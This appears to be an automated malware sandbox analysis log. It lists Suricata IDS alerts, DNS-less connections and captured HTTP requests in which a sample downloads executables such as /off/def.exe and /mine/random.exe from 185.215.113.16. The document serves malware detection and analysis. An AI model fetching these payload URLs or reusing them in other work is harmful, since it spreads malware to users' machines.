
Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49715 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49729 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49735 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49887 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49939 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49948 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49949 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49958 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49967 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49978 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49989 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50004 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50007 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50008 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50006 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50011 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50012 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50012 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50015 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50028 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50037 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50039 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50074 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50081 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50085 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50078 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50084 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50082 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50090 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50089 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50076 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49746

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
